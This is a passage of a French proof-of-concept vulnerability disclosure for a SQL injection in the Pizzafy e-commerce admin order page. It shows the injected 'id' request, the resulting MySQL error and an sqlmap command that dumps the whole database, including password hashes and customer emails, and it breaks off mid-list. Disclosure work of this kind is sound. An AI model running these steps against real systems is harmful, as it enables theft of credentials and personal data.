
Exploit de preuve de concept pour CVE-2026-7394, une vulnérabilité d'injection SQL dans SourceCodester Pizzafy Ecommerce System 1.0. Démontre une injection SQL authentifiée d'administrateur via le paramètre `id` dans `admin/view_order.php`, permettant un dump complet de la base de données incluant les identifiants utilisateur et les informations personnelles identifiables (PII).
admin/view_order.php| Champ | Valeur |
|---|---|
| Vendeur | SourceCodester |
| Produit | Système e-commerce Pizzafy utilisant PHP et MySQL |
| Version | 1.0 |
| Vulnérabilité | Injection SQL |
| CWE | CWE-89 |
| Score CVSSv3 | 7.2 (Élevé) |
| Vecteur d'attaque | Réseau |
| Authentification requise | Oui (Administrateur) |
| Chercheur | Xmyronn |
| Date | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
Fichier : Pizzafy/admin/view_order.php
Paramètre : id (GET)
Le point d'accès admin/view_order.php dans le système e-commerce Pizzafy 1.0 ne parvient pas à nettoyer correctement le paramètre GET id avant de le transmettre à une requête MySQL. Un administrateur authentifié peut manipuler ce paramètre pour injecter du SQL arbitraire, entraînant une compromission complète de la base de données.
Naviguer vers :
http://localhost/pizzafy/Pizzafy/admin/index.php
Se connecter avec les identifiants administrateur.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
Cliquer sur Voir la commande sur n'importe quelle entrée de commande.

La requête GET interceptée ressemble à :

Modifier id=1 en id=' :

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
Réponse — Erreur MySQL exposée :
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
Enregistrer la requête dans view_order.txt et exécuter :
sqlmap -r view_order.txt --dump --batch
sqlmap a confirmé les types d'injection :
| Type | Titre |
|---|---|
| Aveugle basé sur booléen | AND boolean-based blind — clause WHERE |
| Basé sur erreur | MySQL >= 5.0 FLOOR error-based |
| Aveugle basé sur le temps | MySQL >= 5.0.12 SLEEP |
| Requête UNION | Generic UNION query — 11 colonnes |
Base de données entièrement extraite :
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
Les données sensibles exposées incluent les hachages de mots de passe bcrypt, les emails des clients, les détails des commandes et la configuration du système.
Un administrateur authentifié malveillant (ou un attaquant ayant obtenu des identifiants admin) peut :